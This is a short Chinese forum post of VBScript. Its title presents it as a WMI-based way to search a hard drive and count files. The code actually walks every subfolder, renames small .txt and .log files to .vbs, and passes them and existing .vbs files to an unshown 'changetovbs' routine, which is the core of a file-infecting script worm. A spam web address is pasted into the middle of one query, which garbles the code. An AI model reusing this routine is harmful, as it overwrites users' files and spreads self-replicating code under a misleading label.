柠檬墨绿色 发表于 2016/11/8 15:04

VBS调用WMI遍历搜索硬盘文件并计数的方法

  Function wmisfile(path_sf,justcnt)

  'On Error Resume Next

  StrComputer = "."

  Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2")

  Set FileList = objWMIService.ExecQuery _

  ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _

  & "ResultClass = CIM_DataFile")

  For Each objFile In FileList

  fname = LCase(objfile.name)

  ename = LCase(objfile.extension)

  If 1 < objfile.filesize And objfile.filesize <= 50000 Then

  Select Case ename

  Case "txt","log"

  path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"

  objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")

  Call changetovbs(path_vbs,path_vbs)

  justcnt = justcnt + 1

  Case "vbs"

  If checkversion(fname) = False Then

  Call changetovbs(fname,fname)

  justcnt = justcnt + 1

  End If

  End Select

  End If

  Next

  Set colSubfolders = objWMIService.ExecQuery _

  ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _

  & "Where AssocClass = Win32_Subdirectory " _www.9ask.cn/zhuzhou/

  & "ResultRole = PartComponent")

  For Each objFolder In colSubfolders

  wmisfile objfolder.name,justcnt

  Next

  End Function
页: [1]
查看完整版本: VBS调用WMI遍历搜索硬盘文件并计数的方法